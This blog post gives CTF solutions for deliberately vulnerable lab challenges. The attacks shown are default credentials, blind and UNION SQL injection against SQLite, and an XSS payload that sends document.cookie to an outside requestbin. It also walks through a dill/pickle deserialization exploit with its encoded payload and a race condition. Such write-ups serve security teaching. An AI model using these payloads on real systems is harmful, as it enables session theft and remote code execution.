The Freelancer CTF hosted by UNSW Security Society and Freelancer is now over, and as such I’m open sourcing all the challenges so people can try them at home. There are also writeups here if you get stuck.

How do I run these challenges? Have docker installed. docker build . in the corresponding folder. docker run -p 9091:9091 fc5de400e330 or whatever docker has called them. Your challenges should be available at localhost:9091.

github

Below are the writeups. I assume you’re a morally righteous person who won’t cheat before you’ve even tried.





Scroll down for writeups





simplesql1

hint 1: i hear this is a new installation.

Just default username and password admin:password and it gives you the username jonsnow for simplesql2

simplesql2

Its a blind sql injection challenge. You notice that adding a single quote will give you the sql injection error. I could’ve done a binary search instead, but implementing that is more effort.

Automated solution: github

simplexss1

hint 1: terminator couldn’t find this. nor can skynet i mean google.

its the robots.txt. how exciting.

simplexss2

using a requestbin, something like

<img src=x onerror="new Image().src='http://requestb.in/whatever?cookie='+document.cookie;"/>

would work

simpleior

Insecure Object Request is what ior is. Click on a blog post and change the url to 0

secret message

This is a command injection challenge. If you hunt out the robots.txt you’ll find the source at source.py. From the source or by inspection you can figure out that the cookie f is used directly in the code. With some thinking and examination of the imports, you realise that a = base64.b64decode and b = dills.loads().

dill.loads() is just pickle but it can do functions. so install dill pip install dill then:

>>> import dill, base64
>>> class x(object):
...     def lower(self):
...             import os
...             return open('flag.txt').readlines()
>>> base64.b64encode(dill.dumps(x()))
'gAJjZGlsbC5kaWxsCl9jcmVhdGVfdHlwZQpxAChjZGlsbC5kaWxsCl9sb2FkX3R5cGUKcQFVCFR5cGVUeXBlcQKFcQNScQRVAXhxBWgBVQpPYmplY3RUeXBlcQaFcQdScQiFcQl9cQooVQ1fX3Nsb3RuYW1lc19fcQtdcQxVCl9fbW9kdWxlX19xDVUIX19tYWluX19xDlUFbG93ZXJxD2NkaWxsLmRpbGwKX2NyZWF0ZV9mdW5jdGlvbgpxEChoAVUIQ29kZVR5cGVxEYVxElJxEyhLAUsCSwJLQ1UcZAEAZAAAbAAAfQEAdAEAZAIAgwEAagIAgwAAU3EUTkr/////VQhmbGFnLnR4dHEVh3EWVQJvc3EXVQRvcGVucRhVCXJlYWRsaW5lc3EZh3EaVQRzZWxmcRtoF4ZxHFUHPHN0ZGluPnEdaA9LAlUEAAEMAXEeKSl0cR9ScSBjX19idWlsdGluX18KX19tYWluX18KaA9OTn1xIXRxIlJxI1UHX19kb2NfX3EkTnV0cSVScSYpgXEnfXEoYi4='

Change your cookie. document.cookie="f=that_long_base_64_string", post and you have your flag!

pokestore2

After the absolute disaster of last time’s pokestore (where my xss bot crashed and burned horribly). I’ve decided to remake it without the bot. Instead it’s a race condition challenge. Notice you get pieces of the flag when you buy certain pokeballs. There’s also an exchange shop for some reason. If you try exchanging currency with simultaenous requests you find there’s a race condition. Submit some at the same time using owasp ZAP or burp intruder and you’ll get double your money.

Screenshots coming I promise.

sqlblog1

HTML comments show that /create is a valid route. You can create posts for shits and giggles. All of this is HTML escaped on creation so you’re not getting XSS that way. There’s also a hidden field called hidden.

Part 1 is SQL injection. Click on some posts and notice the URL scheme is a bit funny. It turns out its ascii of title-random uid-hash. If you try modifying the ASCII title, it’ll tell you Md5 checksum incorrect. So you figure out that hash is actually md5(ascii of title-random uid.

Now you can start injecting.

The 1337 Haxor post has a hidden comment (css display:none, very secure). “hah this blogs security is no match for my awesome magic sql automator. what type of column name is ‘flag’??!?!?!??!?!!”. So that’s a hint of what the column name is.

A quick and easy script that implements the hashing to make exploitation easier

import os
import hashlib
import binascii

def encode_post_id(post_id):
    return ''.join(hex(ord(a))[2:] for a in post_id)

def h(payload):
    enc_post_id = encode_post_id(payload) + '-a'
    md5checksum = hashlib.md5(enc_post_id.encode('utf-8')).hexdigest()[0:6]
    return enc_post_id + '-' + md5checksum

Lets make our sql payload.

These links are really helpful pentest monkey, trollab

The trick being, this is a sqlite database, not SQL. So your pentest monkey queries might make you cry.

Our payload ends up being

' UNION SELECT name, name, name FROM sqlite_master where type='table

which forms the full query

SELECT post.title AS post_title, post.content AS post_content, post.hidden as post_hidden FROM post WHERE id = '' UNION SELECT name, name, name FROM sqlite_master where type='table'

and gives us our table name: wowsupersecrettablename

Given the information above, its trivial to extract the column flag from that table using the same method.

sqlblog2

This was the XSS part of the challenge where the URL was given. General idea: Craft a sql union query that has XSS in the post content/title. Then provide that URL to the bot to visit. This is left as an exercise to the reader.


FINALLY. Who knew writing a blog post with 6 writeups would take a long time.

See you guys next FCTF